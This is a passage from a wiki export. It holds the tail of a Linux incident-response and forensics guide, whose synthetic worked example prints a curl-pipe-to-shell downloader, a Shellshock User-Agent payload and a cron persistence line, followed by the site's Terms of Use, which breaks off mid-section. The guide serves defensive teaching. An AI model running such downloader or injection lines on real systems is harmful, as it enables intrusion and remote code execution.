| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=253</id>
		<title>WikiCyber:Terms of Use</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=253"/>
		<updated>2026-10-02T04:34:07Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Effective Date:&#039;&#039;&#039; 1 October 2026 &amp;amp;nbsp;|&amp;amp;nbsp; &#039;&#039;&#039;Last Updated:&#039;&#039;&#039; 1 October 2026&lt;br /&gt;
&lt;br /&gt;
These Terms of Use (these &amp;quot;&#039;&#039;&#039;Terms&#039;&#039;&#039;&amp;quot;) constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the &amp;quot;&#039;&#039;&#039;Site&#039;&#039;&#039;&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;BY ACCESSING, BROWSING, OR CONTRIBUTING TO THE SITE, YOU ACKNOWLEDGE THAT YOU HAVE READ AND UNDERSTOOD THESE TERMS AND AGREE TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, YOU MUST NOT ACCESS OR USE THE SITE.&#039;&#039;&#039; Users who have not reached the age of majority in their jurisdiction of residence are advised to review these Terms with a parent or legal guardian before using the Site.&lt;br /&gt;
&lt;br /&gt;
== 1. Introduction and Definitions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.1 The Operator.&#039;&#039;&#039; WikiCyber is a free educational project operated by Shore-Roger Enterprises (the &amp;quot;&#039;&#039;&#039;Operator&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;we&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;us&#039;&#039;&#039;&amp;quot;, or &amp;quot;&#039;&#039;&#039;our&#039;&#039;&#039;&amp;quot;). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. The Operator operates the Site as a free educational project and without any intention of making a profit, now or in the future.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.2 Definitions.&#039;&#039;&#039; In these Terms, unless the context requires otherwise:&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Author&#039;&#039;&#039;&amp;quot; means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Content&#039;&#039;&#039;&amp;quot; means all text, code, images, data, and other material made available on the Site, including Contributions.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Contribution&#039;&#039;&#039;&amp;quot; means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;License&#039;&#039;&#039;&amp;quot; means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Supplemental Policies&#039;&#039;&#039;&amp;quot; means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], each as published on the Site from time to time.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;User&#039;&#039;&#039;&amp;quot; or &amp;quot;&#039;&#039;&#039;you&#039;&#039;&#039;&amp;quot; means any person or entity that accesses or uses the Site, including any Author.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;WikiCyber Parties&#039;&#039;&#039;&amp;quot; means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.3 Interpretation.&#039;&#039;&#039; Headings are for convenience only and do not affect the interpretation of these Terms. The word &amp;quot;including&amp;quot; means &amp;quot;including without limitation.&amp;quot; References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.4 Availability of the Site.&#039;&#039;&#039; The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, for any reason, and without notice or liability.&lt;br /&gt;
&lt;br /&gt;
== 2. Content License and Contributions ==&lt;br /&gt;
&lt;br /&gt;
=== 2.1 License to Content ===&lt;br /&gt;
&#039;&#039;&#039;2.1.1&#039;&#039;&#039; Unless a page or item expressly states otherwise, Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:&lt;br /&gt;
:(a) &#039;&#039;&#039;Attribution.&#039;&#039;&#039; You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, is sufficient to credit the Authors.&lt;br /&gt;
:(b) &#039;&#039;&#039;ShareAlike.&#039;&#039;&#039; If you remix, transform, or build upon the Content, you must distribute your contributions under the License or a license that the License designates as compatible.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2.1.2&#039;&#039;&#039; Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between this Section 2.1 and the License, the License governs with respect to the rights granted in the Content.&lt;br /&gt;
&lt;br /&gt;
=== 2.2 Contributions ===&lt;br /&gt;
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:&lt;br /&gt;
:(a) the Author hereby licenses the Contribution to the public under the License, and acknowledges that such license is &#039;&#039;&#039;irrevocable&#039;&#039;&#039;;&lt;br /&gt;
:(b) the Contribution is the Author&#039;s original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;&lt;br /&gt;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;&lt;br /&gt;
:(d) Contributions that are published on the Site, together with their edit histories and the Author&#039;s username, are publicly and permanently visible, and may be edited, reorganized, moved, or removed by the Operator&#039;s administrators at any time;&lt;br /&gt;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and&lt;br /&gt;
:(f) the Contribution complies with Section 6.&lt;br /&gt;
&lt;br /&gt;
=== 2.3 Matters Not Licensed ===&lt;br /&gt;
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.&lt;br /&gt;
:(b) The names &amp;quot;WikiCyber&amp;quot; and &amp;quot;Shore-Roger Enterprises,&amp;quot; and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.&lt;br /&gt;
&lt;br /&gt;
=== 2.4 Linking to the Site ===&lt;br /&gt;
You may link to any page of the Site, including by text hyperlink, for any lawful purpose, provided that the linking does not suggest that the Operator or any Author sponsors, endorses, or is affiliated with you or your site, and that your site does not contain material that is unlawful, harassing, hateful, or otherwise objectionable. You may not use the WikiCyber name or any WikiCyber logo or graphic as a link or in any other manner that suggests endorsement without the Operator&#039;s prior written permission. This Section does not limit the attribution you are required to give under the License. The Operator may withdraw this permission as to any particular site at any time.&lt;br /&gt;
&lt;br /&gt;
== 3. Authors and Accounts ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.1 Invitation only.&#039;&#039;&#039; Accounts on the Site are issued by invitation only. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.2 Vetting is not a guarantee.&#039;&#039;&#039; The vetting of an Author does not constitute a representation or warranty by the Operator that any Author&#039;s Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.3 Account security.&#039;&#039;&#039; Each Author is solely responsible for maintaining the confidentiality of their account credentials, for all activity that occurs under their account, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.4 Editorial control and review.&#039;&#039;&#039; New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.5 No employment or agency.&#039;&#039;&#039; Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.6 One account; accurate information.&#039;&#039;&#039; Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.7 Authors&#039; representations.&#039;&#039;&#039; By accepting an account, an Author represents and warrants that: (a) the Author has not previously been suspended or removed from the Site, and has not engaged in conduct that would justify suspension or removal; (b) the Author has the full power and authority to accept these Terms, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); and (c) every statement the Author makes to the Operator in connection with the Author&#039;s invitation or vetting is true.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.8 Contributing on behalf of an organization.&#039;&#039;&#039; If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an &amp;quot;&#039;&#039;&#039;Organization&#039;&#039;&#039;&amp;quot;), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization&#039;s behalf, and that the Organization agrees to be bound by these Terms. In that case, &amp;quot;you&amp;quot; refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.&lt;br /&gt;
&lt;br /&gt;
== 4. Educational Use Only; No Professional Advice ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1 Educational purpose.&#039;&#039;&#039; &#039;&#039;&#039;WikiCyber is not a source of expert help.&#039;&#039;&#039; The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2 No assurance of accuracy.&#039;&#039;&#039; Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.3 Assumption of risk and responsibility.&#039;&#039;&#039; You use the Site and the Content &#039;&#039;&#039;entirely at your own risk&#039;&#039;&#039;. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.&lt;br /&gt;
&lt;br /&gt;
== 5. No Affiliation; Third-Party Marks ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.1 Wikipedia and the Wikimedia Foundation.&#039;&#039;&#039; WikiCyber is &#039;&#039;&#039;not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation&#039;&#039;&#039;, and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.2 Other organizations.&#039;&#039;&#039; WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.3 Third-party marks.&#039;&#039;&#039; All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.&lt;br /&gt;
&lt;br /&gt;
== 6. Acceptable Use ==&lt;br /&gt;
&lt;br /&gt;
Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service&#039;s terms.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited uses of the Site and its Content.&#039;&#039;&#039; You shall not use the Site, or any information obtained from it, to:&lt;br /&gt;
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data &#039;&#039;&#039;without the explicit permission of its owner&#039;&#039;&#039;;&lt;br /&gt;
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;&lt;br /&gt;
:(c) create, host, or distribute malware or other harmful code for malicious use.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited conduct on the Site.&#039;&#039;&#039; You shall not:&lt;br /&gt;
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;&lt;br /&gt;
:(e) post the private information, credentials, or confidential material of any other person without that person&#039;s consent;&lt;br /&gt;
:(f) post Content that infringes any person&#039;s intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;&lt;br /&gt;
:(g) impersonate any person or misrepresent your qualifications or affiliation;&lt;br /&gt;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;&lt;br /&gt;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;&lt;br /&gt;
:(j) use or attempt to use another person&#039;s account, or allow another person to use yours;&lt;br /&gt;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person&#039;s use of the Site, including by abusing the review, request, or notification features;&lt;br /&gt;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author&#039;s private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;&lt;br /&gt;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site&#039;s robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;&lt;br /&gt;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than clearly labeled educational samples that comply with Section 6(c)), or that contains political campaigning, advertising, or solicitation; or&lt;br /&gt;
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.&lt;br /&gt;
&lt;br /&gt;
=== 6.1 No Promotional Links ===&lt;br /&gt;
